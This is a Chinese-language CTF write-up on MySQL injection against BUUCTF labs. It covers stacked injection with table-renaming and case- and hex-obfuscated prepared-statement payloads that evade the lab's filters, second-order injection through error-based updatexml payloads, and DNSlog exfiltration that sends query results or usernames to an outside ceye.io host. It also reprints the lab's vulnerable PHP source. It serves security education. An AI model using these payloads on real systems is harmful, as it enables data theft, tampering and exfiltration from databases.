堆叠注入简单的说就是一堆sql语句(多条)执行,由于分号 ; 为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法执行其他恶意语句,如RENAME、DROP等。相关漏洞函数 mysqli_multi_query()函数执行一个或多个针对数据库的查询,多个查询用分号隔开。
这里用buuctf的靶场进行演示
那么打开靶场后如下界面
?inject=1' order by 2--+
正常注入发现有两列
可以利用 or 把表中所有数据都查询出来,但是并没有我们需要的flag ?inject=1' or 1=1 --+
接着正常union select 联合查询 发现禁用了很多sql语句
然后我们就尝试堆叠注入
查询数据库名称 1';show databases; --+
查询数据库表名 1';show tables; --+
查看表结构,可以发现flag在1919810931114514表里
0';desc `1919810931114514`; --+
再查看words表的结构,发现一共有id和data两列 0';desc words; --+
也可以直接查询列名
0';show columns from `1919810931114514`; --+
可以猜测我们查询语句很有可能是 : selsect id,data from words where id =
由上面的1’ or 1=1 --+爆出表所有内容就可以查flag,因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id,最后1’ or 1=1 --+拿到flag
payload1
0';rename table words to words1;rename table `1919810931114514` to words;
alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
desc words;#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(100);
1' or 1=1 --+
方法二
预处理语句
预处理相关语法如下:
set 用于设置变量名和值
prepare 用于预备一个语句,并赋予名称,以后可以引用该语句
execute 执行语句
deallocate prepare 用来释放掉预处理的语句
payload2
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
结果为: strstr($inject, "set") && strstr($inject, "prepare")
这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可,继续构造payload
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#
payload3
-1';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;execute execsql;
题目源码分析
<html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>
<pre>
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){
//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){
//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "
";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){
//判断是否还有更多结果集
echo "
";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
</pre>
</body>
</html>
这里使用multi_query()执行一条或多条sql语句,所以就造成了堆叠注入
二次注入简单的说,就是攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题。
这里用buuctf的靶场进行演示
进入页面后
这里大致的流程就是 注册—>登陆—>查看文章—>个人中心—>修改密码
那么在注册、登陆、文章、修改密码这几个点都可能与数据库交互,就可能存在sql注入
update flags username='flag' where id =2;
update user new_passwd='新密码' where username='用户名' and old_passwd='旧密码'
这里注册的时候可以将用户名设置成一个sql注入语句,但是在密码处它如果进行了md5加密就不能在密码处sql注入,最后就剩下了用户名进行注入,分析完事之后来到注入页面构造语句
' or extractvalue(1,concat(0x7e,database())) or '
发现不行,那我只有抓包咯,试试fuzz字典然后就发现了这些没有过滤
那么考虑这里过滤空格,重新构造payload
x"^extractvalue(1,concat(0x7e,database()))#
注册登陆完事,在修改密码处再次注入
二次注入成功,那么我康康它可能实际在查询的语句
update user new_passwd='新密码' where username="x"^extractvalue(1,concat(0x7e,database()))#
" and old_passwd='旧密码'
后面payload如下
查询表名
test"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#
查询flag列名
test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#
查询flag字段
test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#
查询users表名
test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#
查询users字段
test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1)#
test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#
test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#
Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog(日志)记录显示我们的注入结果,通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录,此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志,解决不回显、反向连接、sql注入、命令执行、SSRF等
参考https://blog.csdn.net/m0_46304840/article/details/106377633
应用场景
1.有文件读取权限及secure-file-priv无值。
2.不知道网站/目标文件/目标目录的绝对路径
3.目标系统为Windows
为什么Windows可用,Linux不行?这里涉及到一个叫UNC的知识点。简单的说,在Windows中,路径以\开头的路径在Windows中被定义为UNC路径,相当于网络硬盘一样的存在,所以我们填写域名的话,Windows会先进行DNS查询。但是对于Linux来说,并没有这一标准,所以DNSLOG在Linux环境不适用。注:payload里的四个\\中的两个\是用来进行转义处理的。
ping %USERNAME%.ipmohs.ceye.io,记录主机的用户名
payload: load_file(concat(’\\’,(select user()),’.xxxx.ceye.io\xxxx’))
网站在创建的时候一般会跟一个数据库,那么数据库就涉及了系统用户和普通用户
无法使用load_file解决方法如下:
https://blog.51cto.com/xiaocao13140/2120189
https://jingyan.baidu.com/article/6b182309860292ba58e15927.html
比如我在数据库root权限下输入 select load_file('d:/1.txt');
就可以直接查询到文本内容
select 'a' into outfile 'd:/2.txt';
在D盘写入文本
然后就是在普通用户下的一些操作
最后得出结论,系统用户:所有数据库可看,文件读写正常、普通用户:单个数据库可看,文件读写失败